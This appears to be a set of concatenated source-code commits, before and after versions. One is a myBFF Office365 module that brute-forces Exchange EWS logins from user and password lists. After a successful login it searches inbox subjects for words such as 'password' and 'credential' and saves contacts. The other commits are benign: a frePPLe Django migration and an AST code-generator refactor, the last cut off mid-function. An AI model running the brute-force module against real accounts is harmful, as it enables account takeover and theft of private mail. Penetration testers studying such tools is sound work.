        self.dl_arrived = int(dl_d)
        self.dl_size = int(dl_t)

if __name__ == "__main__":
    import doctest
    doctest.testmod()
<|endoftext|>


<commit_before>#! /bin/python
# Created by Adam Compton (tatanus)
# Part of myBFF
from core.webModule import webModule
import base64
from lxml import etree
import re
import random
import time
import requests
from requests import session

class Office365Brute(webModule):
    def __init__(self, config, display, lock):
        super(Office365Brute, self).__init__(config, display, lock)
        self.fingerprint="Outlook"
        self.response="Success"
    term = ['credential', 'account', 'password', 'login', 'confidential']
    def somethingCool(self, term, data, config):
        # Parse the result xml
        root = etree.fromstring(data)
        xpathStr = "/s:Envelope/s:Body/m:FindItemResponse/m:ResponseMessages/m:FindItemResponseMessage/m:RootFolder/t" \
                ":Items/t:Message"
        namespaces = {
                    's': 'http://schemas.xmlsoap.org/soap/envelope/',
                    't': 'http://schemas.microsoft.com/exchange/services/2006/types',
                    'm': 'http://schemas.microsoft.com/exchange/services/2006/messages',
                }

        contacts = []
        # Print Mail properties
        print("[+]  Searching for sensitive emails...")
        elements = root.xpath(xpathStr, namespaces=namespaces)
        for element in elements:
            try:
                subject = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}Subject').text
                fromname = element.find(
                    '{http://schemas.microsoft.com/exchange/services/2006/types}From/{'
                    'http://schemas.microsoft.com/exchange/services/2006/types}Mailbox/{'
                    'http://schemas.microsoft.com/exchange/services/2006/types}Name').text
               fromemail = element.find(
                    '{http://schemas.microsoft.com/exchange/services/2006/types}From/{'
                    'http://schemas.microsoft.com/exchange/services/2006/types}Mailbox/{'
                    'http://schemas.microsoft.com/exchange/services/2006/types}EmailAddress').text
                itemid = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}ItemId').attrib['Id']
                changekey = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}ItemId').attrib['ChangeKey']
                contacts.append(fromname.encode('ascii', 'ignore') + " (" + fromemail.encode('ascii', 'ignore') + ")")
                for search_term in term:
                    if re.search(search_term, subject, re.IGNORECASE):
                        print "[+] This could be interesting: "
                        print "[+]       * Subject : " + subject.encode('ascii', 'ignore')
                        print "[+]       * From : " + fromname.encode('ascii', 'ignore' + " (" + fromemail.encode('ascii', 'ignore') + ")"
            except:
                pass
        print("[+]  Any contacts found will be saved to tmp/contacts-" + config["USERNAME"] + "...")
        try:
            for contact in sorted(set(contacts)):
                #print("[+]  Contact Name:  " + contact)
                f = open('./tmp/contacts-' + config["USERNAME"] + '.txt', 'a')
                f.write(contact + '\n')
                f.close()
        except:
            print("[-]  No contacts found in mailbox.")

    def connectTest(self, config, payload, auth):
        if config["domain"]:
            user = config["domain"] + '\\' + config["USERNAME"]
        else:
            user = config["USERNAME"]
        if 'https' in config["HOST"]:
            host = config["HOST"].strip('https://')
        else:
            host = config["HOST"].strip('http://')
        if '/' in host:
            host = re.sub(r'/s\w+', '', host)
        with session() as c:
            proxy = random.choice(config["proxies"])
            proxySvrs = {
            'http': 'socks5://' + proxy,
            'https': 'socks5://' + proxy
            }
            c.headers.update({"Host": host,
            "Content-Type": "text/xml; charset=UTF-8",
            "Content-Length": len(payload),
            "Authorization": "Basic %s" % auth})
            resp1 = c.post(config["HOST"] + "/ews/Exchange.asmx", data=payload, allow_redirects=True, verify=False)#, proxies=proxySvrs)
            if "200" in str(resp1):
                print("[+]  User Credentials Successful: " + user + ":" + config["PASSWORD"])
                if not config["dry_run"]:
                    print("[!] Time to do something cool!")
                    data = str(resp1.text)
                    self.somethingCool(self.term, data, config)
            else:
                print("[-]  Login Failed for: " + config["USERNAME"] + ":" + config["PASSWORD"])

    def payload(self, config):
        payload = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
                xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
            <soap:Body>
            <FindItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"
                xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
                Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ParentFolderIds>
            <t:DistinguishedFolderId Id="inbox"/>
            </ParentFolderIds>
            </FindItem>
            </soap:Body>
            </soap:Envelope>""".format()
        if config["PASS_FILE"]:
            pass_lines = [pass_line.rstrip('\n') for pass_line in open(config["PASS_FILE"])]
            for pass_line in pass_lines:
                if config["UserFile"]:
                    lines = [line.rstrip('\n') for line in open(config["UserFile"])]
                    for line in lines:
                        config["USERNAME"] = line.strip('\n')
                        config["PASSWORD"] = pass_line.strip('\n')
                        auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
                        self.connectTest(config, payload, auth)
                else:
                    config["PASSWORD"] = pass_line.strip('\n')
                    auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
                    self.connectTest(config, payload, auth)
                time.sleep(config["timeout"])
        elif config["UserFile"]:
            lines = [line.rstrip('\n') for line in open(config["UserFile"])]
            for line in lines:
                config["USERNAME"] = line.strip('\n')
                auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
                self.connectTest(config, payload, auth)
        else:
            auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
            self.connectTest(config, payload, auth)
<commit_msg>office365 Module Fix<commit_after>#! /bin/python
# Created by Adam Compton (tatanus)
# Part of myBFF
from core.webModule import webModule
import base64
from lxml import etree
import re
import random
import time
import requests
from requests import session

class Office365Brute(webModule):
    def __init__(self, config, display, lock):
        super(Office365Brute, self).__init__(config, display, lock)
        self.fingerprint="Outlook"
        self.response="Success"
    term = ['credential', 'account', 'password', 'login', 'confidential']
    def somethingCool(self, term, data, config):
        # Parse the result xml
        root = etree.fromstring(data)
        xpathStr = "/s:Envelope/s:Body/m:FindItemResponse/m:ResponseMessages/m:FindItemResponseMessage/m:RootFolder/t" \
                ":Items/t:Message"
        namespaces = {
                    's': 'http://schemas.xmlsoap.org/soap/envelope/',
                    't': 'http://schemas.microsoft.com/exchange/services/2006/types',
                    'm': 'http://schemas.microsoft.com/exchange/services/2006/messages',
                }

        contacts = []
        # Print Mail properties
        print("[+]  Searching for sensitive emails...")
        elements = root.xpath(xpathStr, namespaces=namespaces)
        for element in elements:
            try:
                subject = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}Subject').text
                fromname = element.find(
                    '{http://schemas.microsoft.com/exchange/services/2006/types}From/{'
                    'http://schemas.microsoft.com/exchange/services/2006/types}Mailbox/{'
                    'http://schemas.microsoft.com/exchange/services/2006/types}Name').text
#               fromemail = element.find(
#                    '{http://schemas.microsoft.com/exchange/services/2006/types}From/{'
#                    'http://schemas.microsoft.com/exchange/services/2006/types}Mailbox/{'
#                    'http://schemas.microsoft.com/exchange/services/2006/types}EmailAddress').text
                itemid = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}ItemId').attrib['Id']
                changekey = element.find('{http://schemas.microsoft.com/exchange/services/2006/types}ItemId').attrib['ChangeKey']
                contacts.append(fromname.encode('ascii', 'ignore'))# + " (" + fromemail.encode('ascii', 'ignore') + ")")
                for search_term in term:
                    if re.search(search_term, subject, re.IGNORECASE):
                        print "[+] This could be interesting: "
                        print "[+]       * Subject : " + subject.encode('ascii', 'ignore')
                        print "[+]       * From : " + fromname.encode('ascii', 'ignore')# + " (" + fromemail.encode('ascii', 'ignore') + ")"
            except:
                pass
        print("[+]  Any contacts found will be saved to tmp/contacts-" + config["USERNAME"] + "...")
        try:
            for contact in sorted(set(contacts)):
                #print("[+]  Contact Name:  " + contact)
                f = open('./tmp/contacts-' + config["USERNAME"] + '.txt', 'a')
                f.write(contact + '\n')
                f.close()
        except:
            print("[-]  No contacts found in mailbox.")

    def connectTest(self, config, payload, auth):
        if config["domain"]:
            user = config["domain"] + '\\' + config["USERNAME"]
        else:
            user = config["USERNAME"]
        if 'https' in config["HOST"]:
            host = config["HOST"].strip('https://')
        else:
            host = config["HOST"].strip('http://')
        if '/' in host:
            host = re.sub(r'/s\w+', '', host)
        with session() as c:
            c.headers.update({"Host": host,
            "Content-Type": "text/xml; charset=UTF-8",
            "Content-Length": len(payload),
            "Authorization": "Basic %s" % auth})
            resp1 = c.post(config["HOST"] + "/ews/Exchange.asmx", data=payload, allow_redirects=True, verify=False)#, proxies=proxySvrs)
            if "200" in str(resp1):
                print("[+]  User Credentials Successful: " + user + ":" + config["PASSWORD"])
                if not config["dry_run"]:
                    print("[!] Time to do something cool!")
                    data = str(resp1.text)
                    self.somethingCool(self.term, data, config)
            else:
                print("[-]  Login Failed for: " + config["USERNAME"] + ":" + config["PASSWORD"])

    def payload(self, config):
        payload = """<?xml version="1.0" encoding="utf-8"?>
            <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
                xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types">
            <soap:Body>
            <FindItem xmlns="http://schemas.microsoft.com/exchange/services/2006/messages"
                xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"
                Traversal="Shallow">
            <ItemShape>
            <t:BaseShape>Default</t:BaseShape>
            </ItemShape>
            <ParentFolderIds>
            <t:DistinguishedFolderId Id="inbox"/>
            </ParentFolderIds>
            </FindItem>
            </soap:Body>
            </soap:Envelope>""".format()
        if config["PASS_FILE"]:
            pass_lines = [pass_line.rstrip('\n') for pass_line in open(config["PASS_FILE"])]
            for pass_line in pass_lines:
                if config["UserFile"]:
                    lines = [line.rstrip('\n') for line in open(config["UserFile"])]
                    for line in lines:
                        config["USERNAME"] = line.strip('\n')
                        config["PASSWORD"] = pass_line.strip('\n')
                        auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
                        self.connectTest(config, payload, auth)
                else:
                    config["PASSWORD"] = pass_line.strip('\n')
                    auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
                    self.connectTest(config, payload, auth)
                time.sleep(config["timeout"])
        elif config["UserFile"]:
            lines = [line.rstrip('\n') for line in open(config["UserFile"])]
            for line in lines:
                config["USERNAME"] = line.strip('\n')
                auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
                self.connectTest(config, payload, auth)
        else:
            auth = base64.encodestring("%s:%s" % (config["USERNAME"], config["PASSWORD"])).replace('\n', '')
            self.connectTest(config, payload, auth)
<|endoftext|>


<commit_before>#
# Copyright (C) 2016 by frePPLe bvba
#
# This library is free software; you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero
# General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public
# License along with this program.  If not, see <http://www.gnu.org/licenses/>.
#

from django.db import migrations

class Migration(migrations.Migration):

  dependencies = [
    ('input', '0006_new_data_model_2'),
    ('common', '0003_wizard'),
  ]

  operations = [
    migrations.RunSQL(
      '''
      insert into common_wizard
      (name, sequenceorder, url_doc, url_internaldoc, status, owner_id)
      values
      ('Introduction', 100, '/user-guide/modeling-wizard/concepts.html', null, false, 'Introduction'),
      ('Master data', 200, '/user-guide/modeling-wizard/master-data/index.html', null, false, null),
      ('Locations', 210, '/user-guide/modeling-wizard/master-data/locations.html', '/data/input/location/', false, 'Master data'),
      ('Items', 220, '/user-guide/modeling-wizard/master-data/items.html', '/data/input/item/', false, 'Master data'),
      ('Customers', 230, '/user-guide/modeling-wizard/master-data/customers.html', '/data/input/customer/', false, 'Master data'),
      ('Sales orders', 240, '/user-guide/modeling-wizard/master-data/sales-orders.html', '/data/input/demand/', false, 'Master data'),
      ('Buffers', 250, '/user-guide/modeling-wizard/master-data/buffers.html', '/data/input/buffer/', false, 'Master data'),
      ('Purchasing', 300, '/user-guide/modeling-wizard/purchasing/index.html', null, false, null),
      ('Suppliers', 310, '/user-guide/modeling-wizard/purchasing/suppliers.html', '/data/input/supplier/', false, 'Purchasing'),
      ('Item suppliers', 320, '/user-guide/modeling-wizard/purchasing/item-suppliers.html', '/data/input/itemsupplier/', false, 'Purchasing'),
      ('Purchase orders', 330, '/user-guide/modeling-wizard/purchasing/purchase-orders.html', '/data/input/purchaseorder/', false, 'Purchasing'),
      ('Distribution', 400, '/user-guide/modeling-wizard/distribution/index.html', null, false, null),
      ('Item distributions', 410, '/user-guide/modeling-wizard/distribution/item-distributions.html', '/data/input/itemdistribution/', false, 'Distribution'),
      ('Distribution orders', 420, '/user-guide/modeling-wizard/purchasing/purchase-orders.html', '/data/input/distributionorder/', false, 'Distribution'),
      ('Manufacturing BOM', 700, '/user-guide/modeling-wizard/manufacturing-bom/index.html', null, false, null),
      ('Operations', 710, '/user-guide/modeling-wizard/manufacturing-bom/operations.html', '/data/input/operation/', false, 'Manufacturing BOM'),
      ('Operation materials', 720, '/user-guide/modeling-wizard/manufacturing-bom/operation-materials.html', '/data/input/operationmaterial/', false, 'Manufacturing BOM'),
      ('Manufacturing orders', 730, '/user-guide/modeling-wizard/manufacturing-bom/manufacturing-orders.html', '/data/input/manufacturingorder/', false, 'Manufacturing BOM'),
      ('Manufacturing Capacity', 800, '/user-guide/modeling-wizard/manufacturing-capacity/index.html', null, false, null),
      ('Resources', 810, '/user-guide/modeling-wizard/manufacturing-capacity/resources.html', '/data/input/resource/', false, 'Manufacturing Capacity'),
      ('Operation Resources', 820, '/user-guide/modeling-wizard/manufacturing-capacity/operation-resources.html', '/data/input/operationresource/', false, 'Manufacturing Capacity'),
      ('Plan generation', 900, '/user-guide/modeling-wizard/plan-generation.html', '/execute/', false, 'Plan generation')
      ''',
      '''
      delete from common_wizard where name in (
         'Introduction', 'Master data', 'Locations', 'Items', 'Customers', 'Sales orders', 'Purchasing', 'Suppliers',
         'Item suppliers', 'Purchase orders', 'Distribution', 'Suppliers', 'Distribution orders', 'Manufacturing BOM',
         'Operations', 'Operation materials', 'Manufacturing orders', 'Manufacturing Capacity', 'Resources',
         'Operation Resources', 'Plan generation'
         )
      '''
    ),
  ]<commit_msg>wizard minor fix<commit_after>#
# Copyright (C) 2016 by frePPLe bvba
#
# This library is free software; you can redistribute it and/or modify it
# under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation; either version 3 of the License, or
# (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero
# General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public
# License along with this program.  If not, see <http://www.gnu.org/licenses/>.
#

from django.db import migrations

class Migration(migrations.Migration):

  dependencies = [
    ('input', '0006_new_data_model_2'),
    ('common', '0003_wizard'),
  ]

  operations = [
    migrations.RunSQL(
      '''
      insert into common_wizard
      (name, sequenceorder, url_doc, url_internaldoc, status, owner_id)
      values
      ('Introduction', 100, '/user-guide/modeling-wizard/concepts.html', null, false, 'Introduction'),
      ('Master data', 200, '/user-guide/modeling-wizard/master-data/index.html', null, false, null),
      ('Locations', 210, '/user-guide/modeling-wizard/master-data/locations.html', '/data/input/location/', false, 'Master data'),
      ('Items', 220, '/user-guide/modeling-wizard/master-data/items.html', '/data/input/item/', false, 'Master data'),
      ('Customers', 230, '/user-guide/modeling-wizard/master-data/customers.html', '/data/input/customer/', false, 'Master data'),
      ('Sales orders', 240, '/user-guide/modeling-wizard/master-data/sales-orders.html', '/data/input/demand/', false, 'Master data'),
      ('Buffers', 250, '/user-guide/modeling-wizard/master-data/buffers.html', '/data/input/buffer/', false, 'Master data'),
      ('Purchasing', 300, '/user-guide/modeling-wizard/purchasing/index.html', null, false, null),
      ('Suppliers', 310, '/user-guide/modeling-wizard/purchasing/suppliers.html', '/data/input/supplier/', false, 'Purchasing'),
      ('Item suppliers', 320, '/user-guide/modeling-wizard/purchasing/item-suppliers.html', '/data/input/itemsupplier/', false, 'Purchasing'),
      ('Purchase orders', 330, '/user-guide/modeling-wizard/purchasing/purchase-orders.html', '/data/input/purchaseorder/', false, 'Purchasing'),
      ('Distribution', 400, '/user-guide/modeling-wizard/distribution/index.html', null, false, null),
      ('Item distributions', 410, '/user-guide/modeling-wizard/distribution/item-distributions.html', '/data/input/itemdistribution/', false, 'Distribution'),
      ('Distribution orders', 420, '/user-guide/modeling-wizard/purchasing/purchase-orders.html', '/data/input/distributionorder/', false, 'Distribution'),
      ('Manufacturing BOM', 700, '/user-guide/modeling-wizard/manufacturing-bom/index.html', null, false, null),
      ('Operations', 710, '/user-guide/modeling-wizard/manufacturing-bom/operations.html', '/data/input/operation/', false, 'Manufacturing BOM'),
      ('Operation materials', 720, '/user-guide/modeling-wizard/manufacturing-bom/operation-materials.html', '/data/input/operationmaterial/', false, 'Manufacturing BOM'),
      ('Manufacturing orders', 730, '/user-guide/modeling-wizard/manufacturing-bom/manufacturing-orders.html', '/data/input/manufacturingorder/', false, 'Manufacturing BOM'),
      ('Manufacturing Capacity', 800, '/user-guide/modeling-wizard/manufacturing-capacity/index.html', null, false, null),
      ('Resources', 810, '/user-guide/modeling-wizard/manufacturing-capacity/resources.html', '/data/input/resource/', false, 'Manufacturing Capacity'),
      ('Operation Resources', 820, '/user-guide/modeling-wizard/manufacturing-capacity/operation-resources.html', '/data/input/operationresource/', false, 'Manufacturing Capacity'),
      ('Plan generation', 900, '/user-guide/modeling-wizard/generate-plan.html', '/execute/', false, 'Plan generation')
      ''',
      '''
      delete from common_wizard where name in (
         'Introduction', 'Master data', 'Locations', 'Items', 'Customers', 'Sales orders', 'Purchasing', 'Suppliers',
         'Item suppliers', 'Purchase orders', 'Distribution', 'Suppliers', 'Distribution orders', 'Manufacturing BOM',
         'Operations', 'Operation materials', 'Manufacturing orders', 'Manufacturing Capacity', 'Resources',
         'Operation Resources', 'Plan generation'
         )
      '''
    ),
  ]<|endoftext|>


<commit_before>from ..grammar_parsing.parse_grammar import parse_grammar_file
from ..grammar_parsing.production import *
from ..grammar_parsing.production_part import *

from collections import defaultdict
from itertools import chain
from typing import Dict, List, Optional, Tuple

Param = Tuple[str, Optional[str], Optional[str]]

def generate_nodes_from_grammar_file(grammar_filename: str, output_filename: str):
    text = ASTNodeGenerator(grammar_filename).generate_text()
    with open(output_filename, 'w') as of:
        of.write(text)

def convert_name_to_class_name(name: str) -> str:
    if name[0].isupper():
        return name
    return ''.join(map(lambda s: s.title(), name.split('_')))

class Arg:
    def __init__(self, name: Optional[str], type_: Optional[str], wrappers=None):
        self.name = name
        self.type = type_
        if wrappers:
            self.wrappers = wrappers
        else:
            self.wrappers = []

class ASTNodeGenerator:
    BASE_AST_CLASS_NAME = 'AST'

    def __init__(self, filename: str):
        self.tree = None
        self.parsed_rules = parse_grammar_file(filename)
        self.build_rule_tree(self.parsed_rules)
        for rule, production_list in self.parsed_rules.items():
            if len(production_list) == 1:
                self.make_ast_node_class_from_single_production(rule, production_list[0])
            else:
                self.make_ast_node_classes_from_production_list(rule, production_list)

    def generate_text(self) -> str:
        # Add the header.
        lines = [
            "# This module was automatically generated.",
            "",
            "from typing import List, Optional",
            "",
            "",
        ]
        # Set the depths of the nodes to accommodate parameters. Repeat until no updates are performed.
        # TODO: How likely is it that this will repeat many times? Should a fix-point be computed differently?
        needs_update = True
        while needs_update:
            needs_update = False
            queue = [self.tree.root]
            while queue:
                node = queue.pop(0)
                new_depth = max(chain([node.depth], (parent.depth + 1 for parent in node.parents)))
                new_depth = max(chain([new_depth],
                                      (self.tree[param].depth + 1
                                       for _, param, _ in node.params if param is not None)))
                if new_depth > node.depth:
                    node.depth = new_depth
                    needs_update = True
                queue += node.children
        # Organize nodes by depth in the tree without including duplicates.
        tiers = defaultdict(set)
        queue = [self.tree.root]
        while queue:
            node = queue.pop(0)
            tiers[node.depth].add(node)
            queue += node.children
        # Iterating by tier, add nodes' lines.
        for depth in sorted(tiers.keys()):
            tier = tiers[depth]
            for node in tier:
                lines += node.lines
                lines += ["", ""]
        # Remove extra blank line at the end and return.
        del(lines[-1])
        return '\n'.join(lines)

    class ClassTree:
        def __init__(self):
            self._nodes = {}
            root = ASTNodeGenerator.ClassTreeNode(ASTNodeGenerator.BASE_AST_CLASS_NAME)
            root.lines = [
                'class ' + root.name + ':',
                '    pass'
            ]
            self._nodes[ASTNodeGenerator.BASE_AST_CLASS_NAME] = root
            self.root = root

        def __getitem__(self, item):
            return self._nodes[item]

        def __setitem__(self, key, value):
            if key in self._nodes:
                raise RuntimeError  # TODO: Replace with custom error.
            self._nodes[key] = value

        def add(self, child_name: str, parent_name: str):
            if child_name in self._nodes:
                raise RuntimeError  # TODO: Replace with custom error.
            if parent_name not in self._nodes:
                raise RuntimeError  # TODO: Replace with custom error.
            parent_node = self[parent_name]
            child_node = ASTNodeGenerator.ClassTreeNode(child_name)
            child_node.parents.append(parent_node)
            parent_node.children.append(child_node)
            child_node.depth = parent_node.depth + 1
            self[child_name] = child_node

        def add_to_root(self, child_name: str):
            self.add(child_name, self.root.name)

    class ClassTreeNode:
        def __init__(self, name: str):
            self.name = name
            self.parents: List[ASTNodeGenerator.ClassTreeNode] = []
            self.children: List[ASTNodeGenerator.ClassTreeNode] = []
            self.lines: List[str] = []
            self.params: List[Param] = []
            self.depth = 0

        def __repr__(self):
            return self.name

    def build_rule_tree(self, parsed_rules: Dict[str, List[Production]]):
        self.tree = ASTNodeGenerator.ClassTree()

        rules = set()                   # All rules.
        aliases = defaultdict(list)     # Map: aliased-rule -> [parent rules]
        productions = {}                # Map: prod-name -> parent rule

        for rule, production_list in parsed_rules.items():
            rules.add(rule)
            solo = False
            if len(production_list) == 1:
                solo = True
            for production in production_list:
                if isinstance(production, RuleAliasProduction):
                    aliases[production.name].append(rule)
                elif isinstance(production, NamedProduction):
                    if not solo:
                        productions[production.name] = rule
                else:
                    raise RuntimeError  # TODO: Replace with custom class.

        for rule in rules:
            self.tree.add_to_root(convert_name_to_class_name(rule))
        for alias, parents in aliases.items():
            node = self.tree[convert_name_to_class_name(alias)]
            node.parents = []
            for parent in parents:
                parent_node = self.tree[convert_name_to_class_name(parent)]
                node.parents.append(parent_node)
                parent_node.children.append(node)
            node.depth = max(parent.depth for parent in node.parents)
        for production, parent in productions.items():
            self.tree.add(convert_name_to_class_name(production), convert_name_to_class_name(parent))

    def make_ast_node_class_from_single_production(self, rule: str, production: Production):
        if isinstance(production, RuleAliasProduction):
            # This was handled in pre-processing.
            return
        elif isinstance(production, NamedProduction):
            class_name = convert_name_to_class_name(rule)
            self.process_parameters(class_name, production.parts)
            self.make_ast_node_class(class_name)
        else:
            raise RuntimeError  # TODO: Replace with custom error.

    def make_ast_node_classes_from_production_list(self, rule: str, production_list: List[Production]):
        # Make the base class for these productions to inherit from.
        self.make_ast_node_class(convert_name_to_class_name(rule))
        # Now create each child class.
        for production in production_list:
            if isinstance(production, NamedProduction):
                class_name = convert_name_to_class_name(production.name)
                self.process_parameters(class_name, production.parts)
                self.make_ast_node_class(class_name)
            elif isinstance(production, RuleAliasProduction):
                continue
            else:
                raise RuntimeError  # TODO: Replace with custom error.

    def process_parameters(self, class_name: str, parts: List[ProductionPart]):
        node = self.tree[class_name]
        for part in parts:
            arg = self.get_arg_from_production_part(part)
            if arg is None or arg.name is None:
                continue
            if arg.type is None:
                param = (arg.name, None, 'str')
            else:
                base_arg_type = convert_name_to_class_name(arg.type)
                arg_type = base_arg_type
                for wrapper in reversed(arg.wrappers):
                    arg_type = wrapper + '[' + base_arg_type + ']'
                param = (arg.name, base_arg_type, arg_type)
            node.params.append(param)

    def make_ast_node_class(self, class_name: str):
        node = self.tree[class_name]
        lines = node.lines
        superclasses = ', '.join([parent.name for parent in node.parents])

        def param_to_str(param: Param) -> str:
            param_name, _, param_type = param
            return param_name if param_type is None else param_name + ": " + param_type

        has_params = len(node.params) > 0
        params = [('self', None, None)] + node.params

        lines.append(f"class {class_name}({superclasses}):")
        if has_params:
            joined_params = ', '.join(map(param_to_str, params))
            lines.append(f"    def __init__({joined_params}):")
            for name in (name for name, _, _ in params if name != 'self'):
                lines.append(f"        self.{name} = {name}")
        else:
            lines.append(f"    pass")

    def get_arg_from_production_part(self, part: ProductionPart) -> Optional[Arg]:
            if isinstance(part, LiteralPart):
                return None
            elif isinstance(part, SpecialPart):
                return None
            elif isinstance(part, RulePart):
                return Arg(None, part.name)
            elif isinstance(part, RepeatPart):
                part_arg = self.get_arg_from_production_part(part.part)
                if part_arg is None:
                    return None
                arg = Arg(part_arg.name, part_arg.type, part_arg.wrappers)
                arg.wrappers.append('List')
                return arg
            elif isinstance(part, SeparatedRepeatPart):
                part_arg = self.get_arg_from_production_part(part.rule)
                if part_arg is None:
                    return None
                arg = Arg(part_arg.name, part_arg.type, part_arg.wrappers)
                arg.wrappers.append('List')
                return arg
            elif isinstance(part, OptionPart):
                part_arg = self.get_arg_from_production_part(part.part)
                if part_arg is None:
                    return None
                arg = Arg(part_arg.name, part_arg.type, part_arg.wrappers)
                arg.wrappers.append('Optional')
                return arg
            elif isinstance(part, ParameterPart):
                part_arg = self.get_arg_from_production_part(part.part)
                if part_arg is None:
                    return Arg(part.name, None)
                return Arg(part.name, part_arg.type, part_arg.wrappers)
            else:
                raise RuntimeError(f"Unexpected production part type: {type(part)}")  # TODO: Replace with custom error.

<commit_msg>Refactor tree depth adjustment<commit_after>from ..grammar_parsing.parse_grammar import parse_grammar_file
from ..grammar_parsing.production import *
from ..grammar_parsing.production_part import *

from collections import defaultdict
from itertools import chain
from typing import Dict, List, Optional, Tuple

Param = Tuple[str, Optional[str], Optional[str]]

def generate_nodes_from_grammar_file(grammar_filename: str, output_filename: str):
    text = ASTNodeGenerator(grammar_filename).generate_text()
    with open(output_filename, 'w') as of:
        of.write(text)

def convert_name_to_class_name(name: str) -> str:
    if name[0].isupper():
        return name
    return ''.join(map(lambda s: s.title(), name.split('_')))

class Arg:
    def __init__(self, name: Optional[str], type_: Optional[str], wrappers=None):
        self.name = name
        self.type = type_
        if wrappers:
            self.wrappers = wrappers
        else:
            self.wrappers = []

class ASTNodeGenerator:
    BASE_AST_CLASS_NAME = 'AST'

    def __init__(self, filename: str):
        self.tree = None
        self.parsed_rules = parse_grammar_file(filename)
        self.build_rule_tree(self.parsed_rules)
        for rule, production_list in self.parsed_rules.items():
            if len(production_list) == 1:
                self.make_ast_node_class_from_single_production(rule, production_list[0])
            else:
                self.make_ast_node_classes_from_production_list(rule, production_list)
        self.adjust_node_depths()

    def adjust_node_depths(self):
        # Set the depths of the nodes to accommodate parameters. Repeat until no updates are performed.
        # TODO: How likely is it that this will repeat many times? Should a fix-point be computed differently?
        needs_update = True
        while needs_update:
            needs_update = False
            queue = [self.tree.root]
            while queue:
                node = queue.pop(0)
                new_depth = max(chain([node.depth], (parent.depth + 1 for parent in node.parents)))
                new_depth = max(chain([new_depth],
                                      (self.tree[param].depth + 1
                                       for _, param, _ in node.params if param is not None)))
                if new_depth > node.depth:
                    node.depth = new_depth
                    needs_update = True
                queue += node.children

    def generate_text(self) -> str:
        # Add the header.
        lines = [
            "# This module was automatically generated.",
            "",
            "from typing import List, Optional",
            "",
            "",
        ]
        # Organize nodes by depth in the tree without including duplicates.
        tiers = defaultdict(set)
        queue = [self.tree.root]
        while queue:
            node = queue.pop(0)
            tiers[node.depth].add(node)
            queue += node.children
        # Iterating by tier, add nodes' lines.
        for depth in sorted(tiers.keys()):
            tier = tiers[depth]
            for node in tier:
                lines += node.lines
                lines += ["", ""]
        # Remove extra blank line at the end and return.
        del(lines[-1])
        return '\n'.join(lines)

    class ClassTree:
        def __init__(self):
            self._nodes = {}
            root = ASTNodeGenerator.ClassTreeNode(ASTNodeGenerator.BASE_AST_CLASS_NAME)
            root.lines = [
                'class ' + root.name + ':',
                '    pass'
            ]
            self._nodes[ASTNodeGenerator.BASE_AST_CLASS_NAME] = root
            self.root = root

        def __getitem__(self, item):
            return self._nodes[item]

        def __setitem__(self, key, value):
            if key in self._nodes:
                raise RuntimeError  # TODO: Replace with custom error.
            self._nodes[key] = value

        def add(self, child_name: str, parent_name: str):
            if child_name in self._nodes:
                raise RuntimeError  # TODO: Replace with custom error.
            if parent_name not in self._nodes:
                raise RuntimeError  # TODO: Replace with custom error.
            parent_node = self[parent_name]
            child_node = ASTNodeGenerator.ClassTreeNode(child_name)
            child_node.parents.append(parent_node)
            parent_node.children.append(child_node)
            child_node.depth = parent_node.depth + 1
            self[child_name] = child_node

        def add_to_root(self, child_name: str):
            self.add(child_name, self.root.name)

    class ClassTreeNode:
        def __init__(self, name: str):
            self.name = name
            self.parents: List[ASTNodeGenerator.ClassTreeNode] = []
            self.children: List[ASTNodeGenerator.ClassTreeNode] = []
            self.lines: List[str] = []
            self.params: List[Param] = []
            self.depth = 0

        def __repr__(self):
            return self.name

    def build_rule_tree(self, parsed_rules: Dict[str, List[Production]]):
        self.tree = ASTNodeGenerator.ClassTree()

        rules = set()                   # All rules.
        aliases = defaultdict(list)     # Map: aliased-rule -> [parent rules]
        productions = {}                # Map: prod-name -> parent rule

        for rule, production_list in parsed_rules.items():
            rules.add(rule)
            solo = False
            if len(production_list) == 1:
                solo = True
            for production in production_list:
                if isinstance(production, RuleAliasProduction):
                    aliases[production.name].append(rule)
                elif isinstance(production, NamedProduction):
                    if not solo:
                        productions[production.name] = rule
                else:
                    raise RuntimeError  # TODO: Replace with custom class.

        for rule in rules:
            self.tree.add_to_root(convert_name_to_class_name(rule))
        for alias, parents in aliases.items():
            node = self.tree[convert_name_to_class_name(alias)]
            node.parents = []
            for parent in parents:
                parent_node = self.tree[convert_name_to_class_name(parent)]
                node.parents.append(parent_node)
